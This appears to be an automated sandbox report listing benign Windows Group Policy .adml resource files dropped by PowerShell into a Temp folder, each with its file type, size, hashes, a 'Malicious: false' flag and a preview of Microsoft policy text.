SHA-256:	9F9F0778ABA650963783D793C7253CA72B4A7CEF436A4E34D4B5AEA6DD65BB95
SHA-512:	B76B6D2E2F3B8B4B42CFD8B609EAAAEAC8B974C11D77CA00B5A32980C43EA9F415543D4C081F4E820D58D601A76EA098F01491820CEFD40E2766488923EAF889
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DownloadGameInfo">Turn off downloading of game information</string>.. <string id="DownloadGameInfo_Help">Manages download of game box art and ratings from the Windows Metadata Services.....If you enable this setting, game information including box art and ratings will not be downloaded. ....If you disable or do not configure this setting, game information will be downloaded from Windows Metadata Services.</string>.. <string id="GAMEUX">Game Explorer</string>.. <string id="ListRecentlyPlayed">Turn off

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Globalization.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (486), with CRLF line terminators
Category:	dropped
Size (bytes):	25531
Entropy (8bit):	4.651678772761436
Encrypted:	false
SSDEEP:	384:3G+fZ/NAlGQpr1EVa+3+O+kDeZCwFBAA5ykHj0Yz0hSxqGq0:W6NAlGQpr2oSDy5PGwPH
MD5:	76A8A380A63A9348769B4A94D9EEF57F
SHA1:	B20DFDC04FB839A890E83A590020CCF263EB338E
SHA-256:	7FCB7F49FCEA58D4CFD70A65394DD7E7FD5404D7E51225FBB212035CEA78DF79
SHA-512:	D9F454A57DEE30397CA8233DBD9EBD3E136FBE53B99D34572A04960B6C2785F3B1FECC914B580FA1C033A8952C4C072FF264FAFD1345EB76083B21E3C1482A61
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomLocalesNoSelect">Disallow selection of Custom Locales</string>.. <string id="CustomLocalesNoSelect_Help">This policy setting prevents a user from selecting a supplemental custom locale as their user locale. The user is restricted to the set of locales that are installed with the operating system.....This does not affect the selection of replacement locales. To prevent the selection of replacement locales, adjust the permissions of the %windir%\Globalization directory to prevent the installation of locale

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicy-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	1487
Entropy (8bit):	4.93565859545614
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yczWOV1zWI6+xZAlxP84b6M119Z3icCV:cgeD5x8gm8fKmfg7I1/ZS9V
MD5:	721DE72286ED158412B12054999D879D
SHA1:	3E9668AD9CE409FC80B008D56BA0C213CEDD2B4B
SHA-256:	A87BB0424E1D7DEF0F6D544530A32ABB9ED6D448969FEB8C5985F30E0FD71B65
SHA-512:	A35D98E011DB3E0050FE3695F49576E2229F627D8A967907CB28B85A86762FD969D63CB89E4FE692CDA4B4F4211502F37B53C5C97FADC6A205E8174A63A9E285
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ProcessTSUserLogonAsync">Allow asynchronous user Group Policy processing when logging on through Remote Desktop Services..</string>.. <string id="ProcessTSUserLogonAsync_Help">This policy setting allows Microsoft Windows to process user Group Policy settings asynchronously when logging on through Remote Desktop Services. Asynchronous user Group Policy processing is the default processing mode for Windows Vista and Windows XP.....By default, Window Server processes user Group Policy settings synchronously.....I

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	60292
Entropy (8bit):	4.712085259009764
Encrypted:	false
SSDEEP:	768:eOZhoxHoAJPf9Op1fJDBRLPz5E/tW/4HnQ:eOZ+xIGAlBRLPz5E/8gw
MD5:	3EC08BDFFA220598C2FE18E65DC57F55
SHA1:	7E91322DA98DAA4F971A0CEEE5589D0AA601A40E
SHA-256:	BF01A53E4DD9D9A982152BB2AF4F6B78DB2E6B26D0E3F80D192AC647FAFD3261
SHA-512:	ED99C8F50AD90322E3844D63A29E573B6DE5ACA73A1C9111757B8331B6325BE9D9840D3C0945F124E058BDAB07A364360B4ECFEF14CB472487ECF6DBB7A7B606
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ResetDfsClientInfoDuringRefreshPolicy">Enable AD/DFS domain controller synchronization during policy refresh</string>.. <string id="ResetDfsClientInfoDuringRefreshPolicy_Help">Enabling this setting will cause the Group Policy Client to connect to the same domain controller for DFS shares as is being used for Active Directory.....</string>.. <string id="DisableAOACProcessing">Turn off Group Policy Client Service AOAC optimization</string>.. <string id="DisableAOACProcessing_Help">This policy setting p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GroupPolicyPreferences.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (500), with CRLF line terminators
Category:	dropped
Size (bytes):	133320
Entropy (8bit):	4.822585844934633
Encrypted:	false
SSDEEP:	3072:TaSaHapabacaEa8aqapalasa4aMayauauaSa+awaOaW:Y
MD5:	D1A5CF9F95B52D0C47DE6C6BBA860D0A
SHA1:	112212D522046D296E4298AD5EEED40429FDAF28
SHA-256:	D79EED1FFB6836C73A921B8BD79195F3787C17CB15CEB9E27D682F27DAEA3AEF
SHA-512:	E79B6906D42A8F62A0D5B942C93C4A0A474DC6D841D7784D3EB49BDE7CA7B02F07E53D1DD2A0EE7D13974F9A9722F1A77A40C9F9A28F1DDF0955E46756F39034
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Group Policy Preference Policies</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="MMC_PrefApplications">Permit use of Application snap-ins</string>.. <string id="MMC_PrefApplications_Explain">This policy setting allows you to permit or prohibit use of Application snap-ins (Application preference item types). When prohibited, no Application preference item types appear when you attempt to create a new Application preference item, and you are unable to do so. This policy setting does not affect existing Application preference items.....If you enable or do not configure this policy setting, you permit use

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Help.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (399), with CRLF line terminators
Category:	dropped
Size (bytes):	5647
Entropy (8bit):	4.726995944697996
Encrypted:	false
SSDEEP:	96:LeD5pmkwXl3Bnrvb+st3rnZay5gok2TyV+EJlNifb/j4mRMFW78v/xvJ9xvJ7V:EG+stjZ3gyIzNiz9MFWAn9np
MD5:	3B1AD1ECF110F12067554FA487C740FD
SHA1:	0EE520F7EC886C23F0A431AA690C851B5EB0C5A2
SHA-256:	8DDB25B03AEAC60067CA82F72EDE2B7EBCEB1E48E196BAD69995C052FD2D2E86
SHA-512:	F16103456D09B6385240E7A30FBC9909F0383D1611B08E9E3EB8407BA97E5F462DF7E127E5B8F04842F4A7F54E71D13C30675906624E41CF012AAA6EE06D8731
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HelpQualifiedRootDir_Comp">Restrict potentially unsafe HTML Help functions to specified folders</string>.. <string id="HelpQualifiedRootDir_Help">This policy setting allows you to restrict certain HTML Help commands to function only in HTML Help (.chm) files within specified folders and their subfolders. Alternatively, you can disable these commands on the entire system. It is strongly recommended that only folders requiring administrative privileges be added to this policy setting..... If you enable th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\HelpAndSupport.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3089
Entropy (8bit):	4.757831684112995
Encrypted:	false
SSDEEP:	48:cgeD5J8gmk3TikjDKO5a+A7nQK2N7nCgQ1XlD0J4qXCdCEJaN5Z7aexmFV:LeD5hm4TiADLcXnQvnzUt0JBznFmFV
MD5:	FF9EF4C6BCE28ED5D6C68034CF5FB683
SHA1:	9CD42425C65E031C5D535FD63B8A113FCE81923E
SHA-256:	C121B0C89956299E7EA7212D382E199BDF50F51FE94634740934C56BAC669CAC
SHA-512:	A86DB211B742DA417D886D1C77B22E82B4B25F84C961B7C4ADA3CB64216A35A21DDCD211B50251467E11EA234356516A1245768D5F266DC1F8F346EBC56F2B84
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Online Assistance</displayName>.. <description>Online Assistance</description>.. <resources>.. <stringTable>.. <string id="Assistance">Online Assistance</string>.. <string id="windowscomponents">Windows Components</string>.. <string id="ActiveHelpPolicy_Explain">This policy setting specifies whether active content links in trusted assistance content are rendered. By default, the Help viewer renders trusted assistance content with active elements such as ShellExecute links and Guided Help links.....If you enable this policy setting, active content links are not rendered. The text is displayed, but there are no clickable links for these elements.....If you disable or do not configu

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ICM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	19360
Entropy (8bit):	4.641124398915221
Encrypted:	false
SSDEEP:	384:m7xEdYC8St0ugzNQmh2z31TCIXBtbL+jc98MK1X:zLtk27p1MMK1X
MD5:	17CAE97BBE2A02C66C6FBDD54652B33E
SHA1:	2CCB62039419D7D7D93EA8B04D7A3E587D80DC06
SHA-256:	CAB1DD5C4B264CD58F17F3CD2C16775A7ABF379558F7506DD55FC363CA90C656
SHA-512:	3ACB5C95A38AEB54C4FF0DD0735B6C0FEF4536EA22764455D16A90A0CC8A36655AD5E8E1D964429765818E06A15A90AE7AB4AA3EE556746235FA62C074C0B3C6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CertMgr_DisableAutoRootUpdates">Turn off Automatic Root Certificates Update</string>.. <string id="CertMgr_DisableAutoRootUpdates_Help">This policy setting specifies whether to automatically update root certificates using the Windows Update website. ....Typically, a certificate is used when you use a secure website or when you send and receive secure email. Anyone can issue certificates, but to have transactions that are as secure as possible, certificates must be issued by a trusted certificate authority (CA)

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\IIS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (743), with CRLF line terminators
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	4.880333709783744
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y+kZDqGIZ0DafLMezn6FI2gFV:cgeD5x8gm8fKIZDqGTaYeeFcFV
MD5:	426B83EC085AE7511EF7836624778786
SHA1:	510FB2D8410021336EC73B9757A5E1A85FFA902B
SHA-256:	73B3CBE01F0416F6DE28395E5B9AC286C8149D0F46BAB6AE86B6AC4E58B0F803
SHA-512:	DECBFE7A847491E79F7CAD8AF64CDB650F82424CE657D44D8A8E9CF1BDFA413959DFD79349A88E8050EB6EB0715B4792AA2843E613A914C753A9211A07D2BF18
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="IIS">Internet Information Services</string>.. <string id="PreventIISInstall">Prevent IIS installation</string>.. <string id="PreventIISInstall_Help">"This policy setting prevents installation of Internet Information Services (IIS) on this computer. If you enable this policy setting, Internet Information Services (IIS) cannot be installed, and you will not be able to install Windows components or applications that require IIS. Users installing Windows components or applications that require IIS might not r

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\InetRes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (592), with CRLF line terminators
Category:	dropped
Size (bytes):	457561
Entropy (8bit):	4.747379761820279
Encrypted:	false
SSDEEP:	3072:4ShXU4YfsUgEI5zZxU6AECqP68pxJXljJX2G439MYe1t8ob:ZMk43i1t8u
MD5:	10590CE50B19C233DDB6EEC95850C5F4
SHA1:	0E8CD5C92654B4655E317521164FE17548AC9284
SHA-256:	9775D601260260CA0BDB805FD89AA5C3C126B8706458404A2405711DFD708647
SHA-512:	9DEC09DF0555B8106AE2D1FE2C6405672A995687EB03B8382D0A23EF36FD273980FC15D4194142107FAFC59A148039BE7DF0FB22A4F9FC1153C06BE04AE4D18A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="11.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="InternetCPL_Advanced_Accessibility">Accessibility</string>.. <string id="InternetCPL_Advanced_International">International</string>.. <string id="InternetCPL_Advanced_Security">Security</string>.. <string id="InternetCPL_Connections">Connections Page</string>.. <string id="InternetCPL_Content">Content Page</string>.. <string id="InternetCPL_Content_Certificates">Certificates</string>.. <string id="InternetCPL_General_Appearance">Appearance</string>.. <string id="InternetCPL_Gener

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\InkWatson.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	4.787912997643585
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8p/L1u10pKiuruwuNez27BshruwlOALVIVriFV:cgeD5x8gm8fKb2gzp7Be7OA5OOFV
MD5:	386AFC1D42FDA5DA7B89C46B35C02635
SHA1:	44DC5FF2A570253D5AE1C755604DFFE11EF58022
SHA-256:	3930ADC5CC37AC32F2C02C1C3F288CAD45F18DDB232D5226B78E9CF7632014C2
SHA-512:	32AFFF54025D2A4C313228C41DFF6C2858877F5B0341F1950C822021DD2D13F1C6B70A43761EECB204AAB83762FC48BC6548B4D40A3746B5AC11C8240C973786
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PreventHandwritingErrorReports">Turn off handwriting recognition error reporting</string>.. <string id="PreventHandwritingErrorReports_Explain">Turns off the handwriting recognition error reporting tool.....The handwriting recognition error reporting tool enables users to report errors encountered in Tablet PC Input Panel. The tool generates error reports and transmits them to Microsoft over a secure connection. Microsoft uses these error reports to improve handwriting recognition in future versions of Windows

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\KDC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (554), with CRLF line terminators
Category:	dropped
Size (bytes):	10440
Entropy (8bit):	4.663520278145665
Encrypted:	false
SSDEEP:	96:LeD5pmaMIjP+dQzot5fZeuGnu9rAEQNsVS3sYgovZ4v/4euVuY9+UDVxgACCmskc:Ep8QzgfZeu1905teYUANOKIk
MD5:	7783B0D4B182BE9230A649D6E8DC56AD
SHA1:	215263A87F861BD2D8263BAD8011C5DDA0357BEB
SHA-256:	DB2F6E21FDB453CD8E67C278038547D12EB5C58C1D0280776670D618AEDED64F
SHA-512:	1B13DB33C12191ECF4687C6DEAF76E4776A10AAB045150C2A85369B0AA5553ECF42524A585A2A33905D1B124C1108FF2CACCDFE9C86D8CBBA89FD37E37F8D996
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>KDC Settings</displayName>.. <description>Configuration settings for the Kerberos Key Distribution Center.</description>.. <resources>.. <stringTable>.. <string id="KDC">KDC</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Key Distribution Center (KDC) searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the KDC will search the forests in this list if it is unable to resolve a two-part SPN in the local forest. The forest search is performed by using a glo

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Kerberos.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (840), with CRLF line terminators
Category:	dropped
Size (bytes):	19138
Entropy (8bit):	4.73754316262114
Encrypted:	false
SSDEEP:	384:7atR7siAzz45FWuozQV/hI+DklrjMvJK1ORt:ebksWnzkhI19OL
MD5:	AA29F707B1FE528F5F856EC64E771DAC
SHA1:	6F3F897807668918B8A6F7C4E78B17AA445070F9
SHA-256:	4148DF3125629ABE00141FACEF7519BBDE4D3877067A234F35C0A63B740810F6
SHA-512:	4281194C43BF70E7839FF63107549994D8C89D211317E30557B366C32E30F58505F91AD17E8073869579C6EADA056D8973CD25A489D929FAF796CAE42F5A874E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Kerberos Settings</displayName>.. <description>Configuration settings for the Kerberos authentication protocol.</description>.. <resources>.. <stringTable>.. <string id="kerberos">Kerberos</string>.. <string id="forestsearch">Use forest search order</string>.. <string id="forestsearch_explain">This policy setting defines the list of trusting forests that the Kerberos client searches when attempting to resolve two-part service principal names (SPNs).....If you enable this policy setting, the Kerberos client searches the forests in this list, if it is unable to resolve a two-part SPN. If a match is found, the Kerberos client requests a re

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LanmanServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	6322
Entropy (8bit):	4.728370721511469
Encrypted:	false
SSDEEP:	96:LeD5pm8qDY/ixB4w28Divg6JR+CfREEM2eYJk2y3XTE68TpwQEOgRVLTMV:E9iUw2c0rUEk2yTEZpBmLg
MD5:	33F09CDADA6D62BAE3F0DC0A3E1A2C2A
SHA1:	62BEEE0D918637A68746741C74244FCF39D1A3FB
SHA-256:	3393D80184E3C251A2E8249C13BBBE99A9045AD37550D8497D960371964BF8B7
SHA-512:	DE12FA4C934B9A56C86FF7405D3DEBE1D8F3B4AB3ACDD419888FF2399FEDCABC42CFAF26EDA458C0B874D052327B1DC7BE8C454AA4DE0CF7C920F590C40C5BF0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_LanmanServer">Lanman Server</string>.. <string id="Lbl_FollowShare">Allow hash publication only for shared folders on which BranchCache is enabled</string>.. <string id="Lbl_DisableOnAllShares">Disallow hash publication on all shared folders</string>.. <string id="Lbl_EnableOnAllShares">Allow hash publication for all shared folders</string>.. <string id="Pol_HashPublication">Hash Publication for BranchCache</string>.. <string id="Pol_HashPublication_Help">This policy setting specifies w

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LeakDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	4.91680451974178
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbXSr4eKUsXZ3W5/1n0BsIvFV:LeD5pmnCr4QCW1hCsIvFV
MD5:	FAB2C03A061CF266E4BF99D9AD8410CC
SHA1:	62C30ED88810E558C2C5B29DF833E0B84979F798
SHA-256:	1FAD47D1BCFC5110370B1E428F800DD67B65037C2C029C39355D1F0AF51B4712
SHA-512:	2B49196BE14CD1493F98BB4294D50CE42481D67A02357FD6F26067588B4D19B96D7D6677E5A3B6DA5A99329B7422BD5C257C591CBD6C773E5A106EE47E6A2909
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Memory Leak Diagnosis</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting determines whether Diagnostic Policy Service (DPS) diagnoses memory leak problems.....If you enable or do not configure this policy setting, the DPS enables Windows Memory Leak Diagnosis by default.....If you disable this policy setting, the DPS is not able to diagnose memory leak problems.....

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LinkLayerTopologyDiscovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (460), with CRLF line terminators
Category:	dropped
Size (bytes):	3646
Entropy (8bit):	4.907043755326407
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKIZNW4D5Drf3R5SMxeHJ/LLXdMD5ebqKrf3R5SfxeHJ/LLgX3jqS0:LeD5pmON3ljPep+sqajiep4X3jqSGvV
MD5:	92DBAD98F0E768C7BFE966BD839BB017
SHA1:	DE0047F6E6C1A639102804F0D9081783488BB331
SHA-256:	14DAFF44ECBEC76CDE21CCC68D5558BD6119A5F58C6884B9692B6341EAD643DD
SHA-512:	F74CAACA0D2CE8E4E8702E83E6F077C6BC17BC69CF2BE40698227FE003A7C1291F22D49CB3FEB50A8D418C1083EAE6767474F21AAC7F83A40620F6B461611723
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="LLTD_Category">Link-Layer Topology Discovery</string>.. <string id="LLTD_Category_Help">Configures all Link-Layer Topology Discovery components.</string>.. <string id="LLTD_EnableLLTDIO">Turn on Mapper I/O (LLTDIO) driver</string>.. <string id="LLTD_EnableLLTDIO_Help">This policy setting changes the operational behavior of the Mapper I/O network protocol driver.....LLTDIO allows a computer to discover the topology of a network it's connected to. It also allows a computer to initiate Quality-of-Servic

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\LocationProviderAdm.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1212
Entropy (8bit):	4.9162916170648305
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yYr2XjEEgr2WMb/fLqI2LHIQIeQLUgH7IYLjXr2cE5n:cgeD5x8gm8fKBqTETqRXLqbLoQWLUgbU
MD5:	FE47798FE9B3F4C43E782DF1AF166A87
SHA1:	909EE6F13A9F43305857C64DF1F2B8C91797A60B
SHA-256:	F4EDEF9970D1E3EE016E880537DB88D7B6A3B5ABD142D791FC39D39FC4E1FFA9
SHA-512:	3487FA625323C52C6BB52C09051CE0C5E41A1EAB45448C5471B2378DFDF6E478DF36E3424F08946B6F1C516E795E138CC87166DF81B4D463B5E04166949FE14E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableWindowsLocationProvider">Turn off Windows Location Provider</string>.. <string id="DisableWindowsLocationProvider_Explain">.. This policy setting turns off the Windows Location Provider feature for this computer..... If you enable this policy setting, the Windows Location Provider feature will be turned off, and all programs on this computer will not be able to use the Windows Location Provider feature..... If you disable or do not configure this policy setting, all programs on this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Logon.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (587), with CRLF line terminators
Category:	dropped
Size (bytes):	16832
Entropy (8bit):	4.631442685712746
Encrypted:	false
SSDEEP:	384:HD5n9zbzDznNtlY2iFwIcnBJGciF7BZXmhdtP0:nzbzDzn9YPJMGcitzmx0
MD5:	7DEB6528B7BF721DA0BC53B65116E4B2
SHA1:	999291B1970366D2256B0081EBE8420E6519D13E
SHA-256:	CFF8BFAD325C4F3BE418A491D37BB367E126F24EE22FA39C809C83AED6C07033
SHA-512:	BC22B74FF1FEA301961650160914422A5A986B7082C27140817E8ABE0E2720CB9578B8EF637182CBAE5CB7E3AC8481F4E334A815645E3F13A82163A7941FEC61
Malicious:	false
